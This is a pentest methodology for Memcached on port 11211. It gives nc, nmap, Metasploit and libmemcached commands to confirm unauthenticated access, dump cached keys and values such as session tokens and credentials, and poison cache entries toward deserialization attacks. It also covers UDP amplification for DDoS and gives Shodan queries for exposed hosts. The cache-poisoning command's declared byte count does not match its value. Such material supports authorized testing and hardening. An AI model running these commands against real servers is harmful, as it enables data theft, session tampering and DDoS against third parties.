Memcached Penetration Testing Methodology (11211)
- 攻击大类:C09 Web应用漏洞利用
Further Reading
- Memcached command reference, data extraction techniques, DDoS amplification principle -> read references/memcache-techniques.md
Overall Decision Tree
Port 11211 discovered open
├─ Phase 1: Service Discovery
│ ├─ Nmap script scan -> version and basic information
│ ├─ Manual connection (nc / telnet)
│ └─ TCP vs UDP probing
│ ├─ TCP 11211 -> standard connection
│ └─ UDP 11211 -> DDoS amplification attack surface
├─ Phase 2: Unauthorized Access Testing
│ ├─ Send version / stats commands
│ │ ├─ Data returned -> unauthorized -> Phase 3
│ │ └─ No response / ERROR -> SASL authentication enabled -> brute force
│ └─ Most Memcached instances have no authentication by default
├─ Phase 3: Cached Data Extraction
│ ├─ stats -> basic statistics
│ ├─ stats slabs -> memory slab information
│ ├─ stats items -> items in each slab
│ ├─ stats cachedump <slab> <count> -> key names (< 1.4.31)
│ ├─ lru_crawler metadump all -> key names (>= 1.4.31)
│ └─ get <key> -> fetch a specific cached value
├─ Phase 4: DDoS Amplification Risk
│ ├─ UDP port open -> can be abused as a reflection amplification source
│ ├─ Amplification factor can reach 51000x
│ └─ Metasploit: auxiliary/scanner/memcached/memcached_amp
└─ Phase 5: Known Vulnerabilities
├─ CVE-2021-37519 (heap overflow)
├─ CVE-2019-11596 (NULL pointer)
└─ Buffer overflow in old versions
Phase 1: Service Discovery
1.1 Automated Enumeration
# Nmap information gathering
nmap -n -sV --script memcached-info -p 11211 <IP>
# Metasploit data extraction
msf> use auxiliary/gather/memcached_extractor
# Metasploit DDoS amplification detection
msf> use auxiliary/scanner/memcached/memcached_amp
1.2 Manual Connection
# TCP connection
echo "version" | nc -vn -w 1 <IP> 11211
echo "stats" | nc -vn -w 1 <IP> 11211
# libmemcached tools
sudo apt install libmemcached-tools
memcstat --servers=<IP>
Phase 2: Unauthorized Access Testing
2.1 Authentication Detection
Although Memcached supports SASL authentication, the vast majority of instances expose no authentication by default.
# Test by sending the version command
echo "version" | nc -vn -w 1 <IP> 11211
# If VERSION x.x.x is returned, no authentication is needed
# Send the stats command
echo "stats" | nc -vn -w 1 <IP> 11211
# If STAT data is returned, no authentication is confirmed
2.2 Authentication Decision Tree
Connection test
├─ Returns VERSION / STAT data
│ └─ Unauthorized access confirmed -> Phase 3
├─ Returns ERROR or no response
│ ├─ SASL authentication may be enabled
│ └─ The port may be filtered by a firewall
└─ Connection timeout
└─ Check the TCP/UDP port status
Phase 3: Cached Data Extraction
3.1 Basic Information Gathering
# Version information
echo "version" | nc -vn -w 1 <IP> 11211
# General statistics
echo "stats" | nc -vn -w 1 <IP> 11211
# Memory slab statistics
echo "stats slabs" | nc -vn -w 1 <IP> 11211
# Item statistics
echo "stats items" | nc -vn -w 1 <IP> 11211
3.2 Key Name Extraction
# Memcached < 1.4.31: cachedump method
echo "stats cachedump <slab_number> 0" | nc -vn -w 1 <IP> 11211
# 0 means unlimited output
# Memcached >= 1.4.31: lru_crawler method (recommended)
echo 'lru_crawler metadump all' | nc <IP> 11211 | head -50
3.3 Fetching Specific Values
# Fetch the value of a given key
echo "get <key_name>" | nc -vn -w 1 <IP> 11211
3.4 Tool Assistance
# libmemcached tools
memcstat --servers=<IP> # Statistics
memcdump --servers=<IP> # Export all key names
memccat --servers=<IP> <key> # Fetch key values
# PHP script
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("<IP>", 11211); var_dump($c->getAllKeys());'
3.5 Data Extraction Decision Tree
Cached data extraction process
├─ stats items -> confirm which slabs have data
├─ Version < 1.4.31
│ └─ stats cachedump <slab> 0 -> get key names
├─ Version >= 1.4.31
│ └─ lru_crawler metadump all -> get key names
├─ After obtaining key names
│ └─ get <key> -> fetch values one by one
└─ Data types of interest
├─ Session tokens / Session IDs
├─ User credentials / API keys
├─ Serialized objects (deserialization attack surface)
└─ Business-sensitive data
Note: cached data is transient and may appear or disappear at any time.
Phase 4: DDoS Amplification Risk
4.1 UDP Reflection Amplification
Memcached UDP reflection amplification is one of the largest known amplification attacks, with an amplification factor of up to 51000x.
# Detect the UDP port
nmap -sU -p 11211 <IP>
# Metasploit amplification detection
msf> use auxiliary/scanner/memcached/memcached_amp
msf> set RHOSTS <IP>
msf> run
4.2 DDoS Risk Assessment
UDP 11211 open
├─ Can be abused as a DDoS reflection amplification source
│ ├─ The attacker sends a small request with a spoofed source IP
│ ├─ Memcached returns a large response to the victim
│ └─ The amplification factor reaches 51000x
├─ Mitigation
│ ├─ Disable UDP: memcached -U 0
│ ├─ Restrict access to port 11211 with a firewall
│ └─ Bind to localhost: memcached -l 127.0.0.1
└─ Reporting recommendation
└─ Flag the UDP exposure as a high-risk finding
Phase 5: Known Vulnerabilities
5.1 Vulnerability Detection Decision Tree
Memcached version known
├─ < 1.4.31
│ └─ cachedump is available (information disclosure is simpler)
├─ < 1.5.6
│ └─ CVE-2018-1000127 (integer overflow)
├─ < 1.6.1
│ └─ CVE-2019-11596 (NULL pointer dereference DoS)
├─ < 1.6.12
│ └─ CVE-2021-37519 (heap buffer overflow)
└─ General
└─ searchsploit memcached
Data Writing and Manipulation
Cache Poisoning
If Memcached can be written to, cached data can be poisoned:
# Set/overwrite a key value
printf "set target_key 0 3600 11\r\nmalicious_val\r\n" | nc <IP> 11211
# Potential impact:
# - Modify session data -> broken access control
# - Modify configuration cache -> logic bypass
# - Inject serialized objects -> deserialization RCE
Shodan Search
port:11211 "STAT pid"
"STAT pid"